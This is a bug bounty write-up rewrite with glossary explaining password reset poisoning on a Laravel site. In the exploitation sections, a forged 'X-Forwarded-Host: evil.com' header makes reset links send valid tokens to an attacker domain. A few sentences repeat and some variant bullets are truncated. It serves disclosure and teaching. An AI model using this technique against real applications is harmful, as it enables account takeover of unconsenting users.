Account Takeover via Password Reset Poisoning (X-Forwarded-Host)
The application trusted the X-Forwarded-Host header from external requests, so password reset links were generated pointing to an attacker-controlled domain. An attacker could send a victim a reset link that leaked the valid token, then use that token on the real site to set a new password and take over the account.
Published on medium.com
Bug Bounty
The full write-up lives on its author's site
It belongs to its author, so we link to it rather than copy it. The other two tabs are our own rewrites, checked against it.
Context
The target was a web application on a domain ending in .sa, built on Laravel. The domain itself is redacted in the write-up to protect the company's identity, and the research was carried out privately on the company's assets as part of independent security research.
The feature at the centre of the report is the password reset flow. Like most Laravel applications, it uses the framework's URL generator to build links: password reset links, redirects and other URLs. When the application is configured to trust forwarded headers, Laravel can use X-Forwarded-Host to decide which hostname goes into those generated links.
Setup
The report does not describe any special accounts, roles or versions. The only tool named is Burp Suite, used to modify the X-Forwarded-Host header on requests. The precondition for the attack is that the application accepts the X-Forwarded-Host header from external requests, and that the attacker controls a domain to point the reset link at.
Finding it
The researcher starts from the role of forwarded headers. When a site sits behind a proxy such as Cloudflare or a load balancer, requests pass through that proxy before reaching the backend server, and the proxy can add headers describing the original request:
X-Forwarded-Fortells the backend the original client's IP address.X-Forwarded-Prototells the backend whether the original connection used HTTP or HTTPS.X-Forwarded-Hosttells the backend which hostname was originally requested.
These headers are only safe if the backend trusts them solely when they come from a trusted proxy. Otherwise anyone can send them directly with arbitrary values, for example by changing X-Forwarded-Host in Burp Suite.
That matters for password resets because Laravel's URL generator can take the hostname from X-Forwarded-Host when building links. The researcher found that the .sa application was accepting the X-Forwarded-Host header from external requests without properly restricting it to trusted proxies. That meant the hostname used in generated password reset links could be controlled by the requester.
Exploitation
Step 1: Send a reset request with a forged host
The researcher modified the X-Forwarded-Host header on the password reset request to point at a domain they controlled:
X-Forwarded-Host: evil.com
Instead of the application's real domain, the generated password reset link used evil.com. In other words, the attacker controls where the reset link points.

Step 2: The victim receives a poisoned link
After the header was modified and a password reset was requested, the application generated a link pointing to the attacker's domain rather than the legitimate one. The victim's email contained a link similar to this:
https://evil.com/reset-password/{REAL_TOKEN}?email=[redacted]

Step 3: Capture the token
If the victim clicks the link, their browser sends a request to the attacker's domain, exposing the password reset token. The important detail is that the token remains valid on the original website.
Step 4: Use the token on the legitimate domain
The captured token can then be used against the real application:
The application accepted the token and allowed the researcher to set a new password for the victim's account. After changing the password, the researcher logged in successfully, confirming the complete chain from manipulating the reset link to a full account takeover.
Root cause
The application accepted the X-Forwarded-Host header from external requests without properly restricting it to trusted proxies. Because Laravel's URL generator uses that header to determine the hostname when generating links, the hostname in the password reset link became attacker-controlled.
The application accepted the X-Forwarded-Host header from external requests without properly restricting it to trusted proxies, so the hostname in generated links was attacker-controlled.
Impact
An attacker could take over user accounts by sending victims manipulated password reset links. If a victim clicks the link, their valid reset token is exposed to the attacker, who can then change the account password and gain access. The attack requires the victim to click the link, so it is not fully automatic.
The researcher rated it High, CVSS 3.1: 8.1, with the vector:
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:N
Fix
The report does not state what was changed.
Variants to test
- A positive result is a generated link whose host is the value you supplied.
- A positive result is a spoofed IP in logs or a downgrade that the backend accepts.
- A positive result is the same host substitution in generated links.
- A positive result is a reset link pointing at your domain while the token stays valid on the real site.
What happened, in plain words
A company runs a website on a domain ending in .sa. The site is built with a tool called Laravel, which is a framework: a collection of ready-made building blocks that developers use to put a web application together faster. The report hides the exact domain name to protect the company, and the researcher says the work was done privately on the company's assets as part of independent security research.
The feature at the centre of the story is the password reset flow. You have seen this on almost every site: you forget your password, you type your email address, and the site sends you an email with a special link. Clicking that link lets you choose a new password. The link has to contain a long random string, called a token, so that only the person who received the email can change the password. A token is like a cloakroom ticket: whoever holds it can collect the coat, so it must not fall into the wrong hands.
What the researcher found is that the site was willing to build that reset link using a hostname supplied by whoever sent the request. A hostname is the part of a web address that names the site, the example.com in https://example.com. If an attacker can make the site put the attacker's own hostname into the reset link, then the email sent to the victim points at the attacker's server. When the victim clicks it, the token travels to the attacker. The token still works on the real site, so the attacker can use it to set a new password and take over the account. That is why the report is titled account takeover via password reset poisoning: the reset link has been poisoned with a false destination.
First, what is X-Forwarded-Host?

To understand the bug you first need to understand what happens between your browser and the server that runs a website. Big sites rarely have one machine answering every request directly. Usually there is a middleman in front: a proxy such as Cloudflare, or a load balancer, which is a machine that spreads incoming traffic across several backend servers. Think of a receptionist in an office building. Visitors do not walk straight to the right desk; they tell the receptionist who they are and what they want, and the receptionist passes the message on.
When the proxy passes a request on to the backend server, it can attach extra notes describing the original request. These notes are HTTP headers, which are small labelled lines sent along with every web request and response. The report lists three of them:
X-Forwarded-Fortells the backend the original client's IP address. An IP address is the number that identifies a computer on a network, a bit like a postal address for a machine.X-Forwarded-Prototells the backend whether the original connection used HTTP or HTTPS. HTTPS is the encrypted version of HTTP, the one with the padlock in the browser.X-Forwarded-Hosttells the backend which hostname was originally requested.
These headers are useful, but there is one important thing to understand: the backend should only trust them when they come from a trusted proxy. The receptionist's note is only worth something if the receptionist wrote it. If anyone off the street can hand the backend a note saying "I am the receptionist, and this visitor asked for the penthouse", the backend has no way to tell the difference. In web terms, anyone can send these headers directly and put whatever values they want in them. For example, you can simply change X-Forwarded-Host using Burp Suite. Burp Suite is a tool that sits between your browser and a website and lets you look at and edit each request before it is sent, like an interception desk for web traffic.
Why does this matter for password resets?
Laravel (the framework here) uses a URL generator to create links throughout the application. A URL generator is a helper inside the framework whose job is to assemble complete web addresses: it takes a path such as /reset-password/abc123 and glues a scheme and a hostname in front of it to make a full link. This includes password reset links, redirects, and other URLs. A redirect is simply the server telling your browser "the page you want is over there, go to this address instead".
The catch is where the generator gets the hostname from. When the application trusts forwarded headers, Laravel can use X-Forwarded-Host to determine the hostname when generating these links. So the value of a header that arrived with the request ends up inside the link that goes out in an email.
The problem I found was that [redacted].sa was accepting the X-Forwarded-Host header from external requests without properly restricting it to trusted proxies. In plain terms: the backend believed the note even when it came from outside, not from the receptionist. This meant I could send a request with:
X-Forwarded-Host: evil.com
This is one HTTP header line. X-Forwarded-Host is the header's name, the label on the note. evil.com is the value, the hostname written on it. evil.com is a domain the attacker controls, so any request that arrives there lands on the attacker's own server. By sending this line with a request, the attacker is telling the backend: "the visitor originally asked for evil.com". A backend that trusts the header will believe it.
And the application would use evil.com instead of its actual domain when generating the password reset link. In other words, I could control where the password reset link would point. The victim's email still comes from the real site, and the token inside the link is still the real token, but the address at the front of the link now belongs to the attacker.
The actual attack

After modifying the X-Forwarded-Host header and requesting a password reset, the application generated a link pointing to my domain instead of the legitimate one.
The victim would receive an email containing a link similar to this:
https://evil.com/reset-password/{REAL_TOKEN}?email=[redacted]
Read the link piece by piece. https:// is the scheme, telling the browser to use encrypted HTTP. evil.com is the hostname, the part the attacker managed to control; this is the poisoned part, because it sends the victim to the attacker's server instead of the real site. /reset-password/ is the path, the location on that server where the reset page normally lives. {REAL_TOKEN} stands for the genuine random token the application generated for this reset; the braces are a placeholder in the report, not literal characters in the email. ?email=[redacted] is the query string, the part after the question mark that carries extra information, here the victim's email address. The whole point is that everything except the hostname is legitimate, which is exactly what makes the link convincing.

If the victim clicks the link, their browser sends a request to my domain, exposing the password reset token. The browser does what browsers do: it connects to whatever hostname is in the address bar and asks for the path. Since the hostname is evil.com, the request goes to the attacker's server, and the token travels in the path of that request. The request goes to the attacker's server, and the token travels in the path of that request.
The interesting part is that the token is still valid on the original website. The token was created by the real application and stored there; the attacker did not forge it, only intercepted it. It is as if someone tricked you into handing your cloakroom ticket to a stranger: the ticket is genuine, and the cloakroom will still accept it.
I could take the captured token and use it on the legitimate domain:
Here https:// is the scheme again, [redacted].sa is the real site's hostname (hidden in the report to protect the company), /reset-password/ is the same reset path, and {TOKEN} is the token captured from the attacker's server, substituted into the address. The application accepted the token and allowed me to set a new password for the victim's account.
After changing the password, I was able to log in successfully. This confirmed the complete attack chain, starting from manipulating the password reset link and ending with a full account takeover. An attack chain simply means a series of steps where each one makes the next possible; no single step is enough on its own.
Impact
An attacker could exploit this issue to take over user accounts by sending victims manipulated password reset links. If a victim clicks the link, their valid reset token could be exposed to the attacker, allowing them to change the account password and gain access. The victim has to click, so the attack is not automatic: it depends on one person trusting one email.
The researcher rated it High, CVSS 3.1: 8.1. CVSS is a standard scoring system for the severity of a security flaw; 3.1 is the version of the system, and 8.1 is the score out of 10, where higher means more serious. The vector is the compact string that shows how the score was built:
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:N
Each part is a metric. AV:N means the attack can be carried out over the network, not from the same machine. AC:L means the attack is easy to carry out, with no special conditions. PR:N means the attacker needs no account or privileges on the site. UI:R means user interaction is required, in this case the victim clicking the link. S:U means the impact stays within the vulnerable component. C:H and I:H mean high impact on confidentiality and integrity: the attacker can read the victim's data and change it. A:N means no impact on availability, the site keeps working normally.
Root cause
The application accepted the X-Forwarded-Host header from external requests without properly restricting it to trusted proxies. Because Laravel's URL generator uses that header to determine the hostname when generating links, the hostname in the password reset link became attacker-controlled.
The application accepted the X-Forwarded-Host header from external requests without properly restricting it to trusted proxies, so the hostname in the reset link became attacker-controlled. A trust boundary is the line between parties you believe and parties you do not; here the line existed in principle but the application did not check which side a request came from.
Fix
The report does not state what was changed. The report does not state what was changed or how the issue was fixed.
Variants to test
Once you understand the pattern, the same idea can be tried in other places. Each item below is a variation worth testing, with what counts as a positive result:
- OAuth is a way for sites to let you sign in with another account, and it relies on redirects back to the right place. A positive result is a generated link whose host is the value you supplied.
- A positive result is a spoofed IP in logs or a downgrade that the backend accepts. A downgrade means the backend is persuaded to treat an encrypted connection as plain HTTP.
- A positive result is the same host substitution in generated links.
- An absolute URL is a full address including scheme and hostname, as opposed to a relative one that only gives a path. A positive result is a reset link pointing at your domain while the token stays valid on the real site.
Glossary
- Account takeover: gaining control of someone else's account, usually by obtaining their credentials or a way to reset them.
- Attack chain: a sequence of steps where each one enables the next, together producing a result none could achieve alone.
- Backend: the server and software that actually process requests and store data, as opposed to what the browser shows.
- Burp Suite: a tool that intercepts web traffic between browser and server so requests can be inspected and edited.
- Client: whoever sends a request, such as a browser or an attacker's tool.
- Cloudflare: a company whose proxy service sits in front of websites and forwards traffic to them.
- CVSS: a standard scoring system for rating the severity of security flaws, with a score out of 10 and a vector string describing the metrics.
- Domain: a name that identifies a site on the internet, such as
example.com. - Framework: a collection of ready-made code and conventions developers build an application on top of.
- Header: a labelled line of extra information sent with an HTTP request or response.
- Hostname: the part of a web address that names the site, such as
example.cominhttps://example.com. - HTTP: the protocol browsers and servers use to exchange web requests and responses.
- HTTPS: HTTP carried over an encrypted connection, shown by the padlock in the browser.
- IP address: the number identifying a computer on a network.
- Laravel: a framework for building web applications in the PHP programming language.
- Load balancer: a machine that distributes incoming traffic across several backend servers.
- OAuth: a scheme that lets a site sign you in using an account from another service, relying on redirects.
- Password reset flow: the sequence of pages and emails that lets a user set a new password after forgetting the old one.
- Path: the part of a URL after the hostname that points to a location on the server, such as
/reset-password/. - Proxy: a middleman server that receives requests and passes them on to the backend.
- Query string: the part of a URL after
?that carries extra parameters. - Redirect: a server response telling the browser to go to a different address.
- Root cause: the underlying mistake that makes a vulnerability possible.
- Scheme: the first part of a URL, such as
https://, that says how to connect. - Token: a long random value that proves the holder is allowed to do something, such as reset a password.
- Trust boundary: the line between parties whose input is trusted and parties whose input is not.
- URL: a complete web address, including scheme, hostname, path and optional query string.
- URL generator: framework code that assembles complete URLs from a path and a hostname.
- User interaction: a condition where the attack only works if a person, such as the victim, does something like clicking a link.
- Vulnerability: a weakness in software that an attacker can use to cause harm.
X-Forwarded-For: a header a proxy can add to tell the backend the original client's IP address.X-Forwarded-Host: a header a proxy can add to tell the backend which hostname was originally requested.X-Forwarded-Proto: a header a proxy can add to tell the backend whether the original connection used HTTP or HTTPS.